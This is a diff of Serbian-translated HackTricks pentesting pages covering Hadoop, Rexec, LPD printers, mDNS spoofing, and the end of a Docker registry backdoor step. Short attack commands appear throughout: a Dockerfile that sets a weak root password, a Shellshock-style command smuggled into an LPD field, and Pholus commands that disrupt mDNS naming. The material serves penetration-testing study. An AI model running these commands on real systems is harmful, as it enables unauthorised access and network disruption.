\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Napravite\*\* novu sliku, \*\*proverite\*\* da li je kreirana, i \*\*pošaljite\*\* je: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Reference \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Osnovne informacije**
**Apache Hadoop** je **open-source okvir** za **distribuirano skladištenje i obradu** **velikih skupova podataka** na **računarskim klasterima**. Koristi **HDFS** za skladištenje i **MapReduce** za obradu.
**Apache Hadoop** je **open-source okvir** za **distribuirano skladištenje i obradu** **velikih skupova podataka** širom **računarskih klastera**. Koristi **HDFS** za skladištenje i **MapReduce** za obradu.
Nažalost, Hadoop nema podršku u Metasploit okviru u trenutku dokumentacije. Međutim, možete koristiti sledeće **Nmap skripte** za enumeraciju Hadoop servisa:
Nažalost, Hadoop nema podršku u Metasploit okviru u vreme dokumentacije. Međutim, možete koristiti sledeće **Nmap skripte** za enumeraciju Hadoop usluga:
- **`hadoop-jobtracker-info (Port 50030)`**
- **`hadoop-tasktracker-info (Port 50060)`**
@ -25,19 +26,19 @@ Nažalost, Hadoop nema podršku u Metasploit okviru u trenutku dokumentacije. Me
- **`hadoop-datanode-info (Port 50075)`**
- **`hadoop-secondary-namenode-info (Port 50090)`**
Važno je napomenuti da **Hadoop radi bez autentifikacije u svom podrazumevanom podešavanju**. Međutim, za poboljšanu sigurnost, dostupne su konfiguracije za integraciju Kerberosa sa HDFS, YARN i MapReduce uslugama.
Važno je napomenuti da **Hadoop radi bez autentifikacije u svojoj podrazumevanoj konfiguraciji**. Međutim, za poboljšanu sigurnost, dostupne su konfiguracije za integraciju Kerberosa sa HDFS, YARN i MapReduce servisima.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# 512 - Pentestiranje Rexec
# 512 - Pentesting Rexec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
To je usluga koja **omogućava izvršavanje komande unutar hosta** ako znate validne **poverljive podatke** (korisničko ime i lozinku).
To je usluga koja **omogućava izvršavanje komande unutar hosta** ako znate validne **akreditive** (korisničko ime i lozinku).
**Podrazumevani port:** 512
```
@ -25,16 +26,17 @@ PORT STATE SERVICE
```
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite videti **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **Uvod u LPD protokol**
U 1980-im godinama, razvijen je **Line Printer Daemon (LPD) protokol** u Berkeley Unix-u, koji je kasnije formalizovan kroz RFC1179. Ovaj protokol funkcioniše preko porta 515/tcp, omogućavajući interakciju putem `lpr` komande. Suština štampanja putem LPD-a uključuje slanje **kontrolnog fajla** (za specificiranje detalja posla i korisnika) zajedno sa **podacima fajla** (koji sadrži informacije za štampanje). Dok kontrolni fajl omogućava izbor **različitih formata fajlova** za podatke, rukovanje ovim fajlovima određeno je specifičnom implementacijom LPD-a. Široko priznata implementacija za Unix-slične sisteme je **LPRng**. Posebno, LPD protokol može biti iskorišćen za izvršavanje **zlonamernih PostScript** ili **PJL print poslova**.
U 1980-im, **Line Printer Daemon (LPD) protokol** je razvijen u Berkeley Unix-u, koji je kasnije formalizovan kroz RFC1179. Ovaj protokol funkcioniše preko porta 515/tcp, omogućavajući interakcije putem `lpr` komande. Suština štampanja putem LPD-a uključuje slanje **kontrolne datoteke** (za specifikaciju detalja posla i korisnika) zajedno sa **podacima datoteke** (koja sadrži informacije za štampanje). Dok kontrolna datoteka omogućava izbor **različitih formata datoteka** za podatke datoteke, rukovanje ovim datotekama određuje specifična LPD implementacija. Široko prepoznata implementacija za Unix-slične sisteme je **LPRng**. Važno je napomenuti da se LPD protokol može iskoristiti za izvršavanje **malicioznih PostScript** ili **PJL štampanja**.
### **Alati za interakciju sa LPD štampačima**
[**PRET**](https://github.com/RUB-NDS/PRET) uvodi dva osnovna alata, `lpdprint` i `lpdtest`, koji pružaju jednostavan način za interakciju sa LPD-kompatibilnim štampačima. Ovi alati omogućavaju različite akcije, od štampanja podataka do manipulisanja fajlovima na štampaču, kao što su preuzimanje, otpremanje ili brisanje:
[**PRET**](https://github.com/RUB-NDS/PRET) uvodi dva osnovna alata, `lpdprint` i `lpdtest`, koji nude jednostavan način za interakciju sa LPD-kompatibilnim štampačima. Ovi alati omogućavaju niz akcija od štampanja podataka do manipulacije datotekama na štampaču, kao što su preuzimanje, otpremanje ili brisanje:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Za pojedince koji su zainteresovani za dalje istraživanje područja **hakovanja štampača**, sveobuhvatni resurs može se pronaći ovde: [**Hakovanje štampača**](http://hacking-printers.net/wiki/index.php/Main_Page).
Za pojedince koji su zainteresovani za dalju eksploraciju oblasti **hacking-a štampača**, sveobuhvatan resurs može se pronaći ovde: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `port 515`
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,66 +1,66 @@
# 5353/UDP Multicast DNS (mDNS) и DNS-SD
# 5353/UDP Multicast DNS (mDNS) i DNS-SD
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
## **Osnovne informacije**
**Multicast DNS (mDNS)** omogućava **DNS-slične operacije** unutar lokalnih mreža bez potrebe za tradicionalnim DNS serverom. Radi na **UDP portu 5353** i omogućava uređajima da otkriju jedni druge i njihove usluge, što je često viđeno kod različitih IoT uređaja. **DNS Service Discovery (DNS-SD)**, često korišćen zajedno sa mDNS-om, pomaže u identifikaciji usluga dostupnih na mreži putem standardnih DNS upita.
**Multicast DNS (mDNS)** omogućava **DNS-slične operacije** unutar lokalnih mreža bez potrebe za tradicionalnim DNS serverom. Radi na **UDP portu 5353** i omogućava uređajima da otkriju jedni druge i njihove usluge, što se često viđa kod raznih IoT uređaja. **DNS Service Discovery (DNS-SD)**, često korišćen zajedno sa mDNS, pomaže u identifikaciji usluga dostupnih na mreži putem standardnih DNS upita.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **Rad mDNS-a**
U okruženjima bez standardnog DNS servera, mDNS omogućava uređajima da reše domenska imena koja se završavaju sa **.local** tako što upituju multicast adresu **224.0.0.251** (IPv4) ili **FF02::FB** (IPv6). Važni aspekti mDNS-a uključuju vrednost **Time-to-Live (TTL)** koja označava validnost zapisa i **QU bit** koji razlikuje unicast i multicast upite. Što se tiče bezbednosti, ključno je da implementacije mDNS-a provere da li se izvorna adresa paketa poklapa sa lokalnom podmrežom.
U okruženjima bez standardnog DNS servera, mDNS omogućava uređajima da rešavaju imena domena koja se završavaju sa **.local** upitom na multicast adresu **224.0.0.251** (IPv4) ili **FF02::FB** (IPv6). Važni aspekti mDNS-a uključuju **Time-to-Live (TTL)** vrednost koja označava validnost zapisa i **QU bit** koji razlikuje unicast i multicast upite. Sa aspekta bezbednosti, ključno je da mDNS implementacije verifikuju da se izvorna adresa paketa poklapa sa lokalnom podmrežom.
### **Funkcionisanje DNS-SD-a**
### **Funkcionisanje DNS-SD**
DNS-SD olakšava otkrivanje mrežnih servisa tako što upituje pokazivačke zapise (PTR) koji mapiraju tipove servisa na njihove instance. Servisi se identifikuju koristeći obrazac **_\<Servis>.\_tcp ili \_\<Servis>.\_udp** unutar domena **.local**, što dovodi do otkrivanja odgovarajućih **SRV** i **TXT zapisa** koji pružaju detaljne informacije o servisu.
DNS-SD olakšava otkrivanje mrežnih usluga upitom za pokazivačke zapise (PTR) koji mapiraju tipove usluga na njihove instance. Usluge se identifikuju koristeći **_\<Service>.\_tcp ili \_\<Service>.\_udp** obrazac unutar **.local** domena, što dovodi do otkrivanja odgovarajućih **SRV** i **TXT zapisa** koji pružaju detaljne informacije o uslugama.
### **Istraživanje mreže**
### **Istraživanje Mreže**
#### **Upotreba nmap-a**
#### **nmap Korišćenje**
Korisna komanda za skeniranje lokalne mreže u potrazi za mDNS servisima je:
Korisna komanda za skeniranje lokalne mreže za mDNS usluge je:
```bash
nmap -Pn -sUC -p5353 [target IP address]
```
Ova komanda pomaže u identifikaciji otvorenih mDNS portova i usluga koje se oglašavaju preko njih.
#### **Mrežno prebrojavanje pomoću alata Pholus**
#### **Mrežna enumeracija sa Pholus-om**
Da biste aktivno slali mDNS zahteve i snimali saobraćaj, alat **Pholus** se može koristiti na sledeći način:
Da biste aktivno slali mDNS zahteve i uhvatili saobraćaj, alat **Pholus** se može koristiti na sledeći način:
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
```
## Napadi
### **Iskorišćavanje mDNS istraživanja**
### **Iskorišćavanje mDNS ispitivanja**
Vektor napada uključuje slanje lažnih odgovora na mDNS istraživanja, sugerišući da su sva potencijalna imena već zauzeta, čime se ometa odabir jedinstvenog imena novim uređajima. Ovo se može izvršiti korišćenjem:
Vektor napada uključuje slanje lažnih odgovora na mDNS ispitivanja, sugerišući da su svi potencijalni nazivi već u upotrebi, čime se otežava novim uređajima da odaberu jedinstveni naziv. Ovo se može izvršiti korišćenjem:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
```
Ova tehnika efikasno blokira nove uređaje da registruju svoje usluge na mreži.
**Ukratko**, razumevanje rada mDNS i DNS-SD je ključno za upravljanje i bezbednost mreže. Alati poput **nmap**-a i **Pholus**-a pružaju dragocene uvide u lokalne mrežne usluge, dok poznavanje potencijalnih ranjivosti pomaže u zaštiti od napada.
**Ukratko**, razumevanje funkcionisanja mDNS i DNS-SD je ključno za upravljanje mrežom i bezbednost. Alati kao što su **nmap** i **Pholus** nude dragocene uvide u lokalne mrežne usluge, dok svest o potencijalnim ranjivostima pomaže u zaštiti od napada.
### Spoofing/MitM
Najinteresantniji napad koji možete izvesti preko ove usluge je izvršiti **MitM** u **komunikaciji između klijenta i pravog servera**. Moguće je dobiti osetljive fajlove (MitM komunikacija sa štampačem) ili čak akreditive (Windows autentifikacija).\
Najzanimljiviji napad koji možete izvesti preko ove usluge je da izvršite **MitM** u **komunikaciji između klijenta i pravog servera**. Možda ćete moći da dobijete osetljive datoteke (MitM komunikacija sa štampačem) ili čak akreditive (Windows autentifikacija).\
Za više informacija pogledajte:
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
@ -71,16 +71,17 @@ Za više informacija pogledajte:
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
